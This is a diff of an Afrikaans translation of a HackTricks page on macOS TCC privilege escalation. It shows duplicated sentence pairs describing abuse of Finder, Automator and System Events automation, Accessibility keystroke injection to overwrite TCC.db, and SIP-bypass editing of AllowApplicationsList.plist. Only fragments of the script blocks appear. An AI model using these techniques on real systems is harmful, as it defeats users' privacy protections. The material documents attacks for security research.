Met hierdie toestemming sal jy in staat wees om **finder te vra om toegang tot TCC-beperkte folders** en jou die lêers te gee, maar na my wete sal jy **nie in staat wees om Finder te laat arbitrêre kodes uitvoer** om sy volle FDA-toegang te misbruik nie.
|
||||
|
||||
Daarom sal jy nie in staat wees om die volle FDA-vermoëns te misbruik nie.
|
||||
Daarom sal jy nie die volle FDA-vermoëns kan misbruik nie.
|
||||
{% endhint %}
|
||||
|
||||
Dit is die TCC-prompt om Outomatiseringsvoorregte oor Finder te kry:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat omdat die **Automator**-toepassing die TCC-toestemming **`kTCCServiceAppleEvents`** het, kan dit **enige toepassing beheer**, soos Finder. Dus, deur die toestemming te hê om Automator te beheer, kan jy ook die **Finder** beheer met 'n kode soos die een hieronder:
|
||||
|
@ -418,13 +418,13 @@ end tell
|
|||
EOD
|
||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||
```
|
||||
</details>
|
||||
</besonderhede>
|
||||
|
||||
Net soos met die **Script Editor-toepassing,** kan dit Finder beheer, maar deur 'n AppleScript te gebruik, kan jy dit nie dwing om 'n skrip uit te voer nie.
|
||||
Dieselfde gebeur met die **Script Editor-toepassing,** dit kan Finder beheer, maar deur 'n AppleScript te gebruik, kan jy dit nie dwing om 'n skrip uit te voer nie.
|
||||
|
||||
### Outomatisering (SE) na sommige TCC
|
||||
|
||||
**System Events kan Mapaksies skep, en Mapaksies kan toegang verkry tot sommige TCC-mappe** (Desktop, Dokumente & Aflaaibare lêers), so 'n skrip soos die volgende kan gebruik word om van hierdie gedrag misbruik te maak:
|
||||
**Sisteemgebeure kan Mapaksies skep, en Mapaksies kan toegang verkry tot sommige TCC-mappe** (Lessenaar, Dokumente & Aflaaibare lêers), so 'n skrip soos die volgende kan gebruik word om van hierdie gedrag misbruik te maak:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -468,7 +468,7 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### Outomatisering (SE) + Toeganklikheid (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** na FDA\*
|
||||
|
||||
Outomatisering op **`System Events`** + Toeganklikheid (**`kTCCServicePostEvent`**) maak dit moontlik om **toetsaanslae na prosesse** te stuur. Op hierdie manier kan jy Finder misbruik om die gebruikers TCC.db te verander of om FDA aan 'n willekeurige toepassing te gee (alhoewel 'n wagwoord vir hierdie gevra kan word).
|
||||
Outomatisering op **`System Events`** + Toeganklikheid (**`kTCCServicePostEvent`**) maak dit moontlik om **toetsaanslae na prosesse** te stuur. Op hierdie manier kan jy Finder misbruik om die gebruikers TCC.db te verander of om FDA aan 'n willekeurige toepassing te gee (alhoewel 'n wagwoord hiervoor gevra kan word).
|
||||
|
||||
Voorbeeld van Finder wat die gebruikers TCC.db oorskryf:
|
||||
```applescript
|
||||
|
@ -518,7 +518,7 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility` na FDA\*
|
||||
|
||||
Kyk na hierdie bladsy vir sommige [**ladinge om die Toeganklikheidsregte te misbruik**](macos-tcc-payloads.md#accessibility) om te privilige-opskaling na FDA\* te doen of byvoorbeeld 'n sleutelvanger te hardloop.
|
||||
Kyk na hierdie bladsy vir sommige [**ladinge om die Toeganklikheidsregte te misbruik**](macos-tcc-payloads.md#accessibility) om te privilige-opskaling na FDA\* te doen of byvoorbeeld 'n sleutellogger te hardloop.
|
||||
|
||||
### **Eindpunt Sekuriteitsklient na FDA**
|
||||
|
||||
|
@ -544,12 +544,12 @@ Ek dink nie dit is 'n werklike privilige-opskaling nie, maar net in die geval da
|
|||
|
||||
Die stelsel **TCC-databasis** word beskerm deur **SIP**, daarom sal slegs prosesse met die **aangeduide toekennings in staat wees om dit te verander**. Daarom, as 'n aanvaller 'n **SIP-omseiling** oor 'n **lêer** vind (in staat is om 'n lêer wat deur SIP beperk word te verander), sal hy in staat wees om:
|
||||
|
||||
* Die beskerming van 'n TCC-databasis te **verwyder**, en homself alle TCC-regte te gee. Hy kan enige van hierdie lêers byvoorbeeld misbruik:
|
||||
* **Die beskerming verwyder** van 'n TCC-databasis, en homself alle TCC-regte gee. Hy kan enige van hierdie lêers byvoorbeeld misbruik:
|
||||
* Die TCC-stelseldatabasis
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
Daar is egter 'n ander opsie om hierdie **SIP-omseiling te misbruik om TCC te omseil**, die lêer `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` is 'n lys van programme wat 'n TCC-uitsondering benodig. Daarom, as 'n aanvaller die SIP-beskerming van hierdie lêer kan **verwyder** en sy **eie aansoek** kan byvoeg, sal die aansoek in staat wees om TCC te omseil.\
|
||||
Daar is egter 'n ander opsie om hierdie **SIP-omseiling te misbruik om TCC te omseil**, die lêer `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` is 'n lys van programme wat 'n TCC-uitsondering benodig. Daarom, as 'n aanvaller die SIP-beskerming kan **verwyder** van hierdie lêer en sy **eie aansoek** byvoeg, sal die aansoek in staat wees om TCC te omseil.\
|
||||
Byvoorbeeld om terminal by te voeg:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
@ -557,7 +557,7 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
|||
```
|
||||
### AllowApplicationsList.plist:
|
||||
|
||||
### ToegestaneToepassingsLys.plist:
|
||||
### ToegestaneAansoekelys.plist:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -599,10 +599,10 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|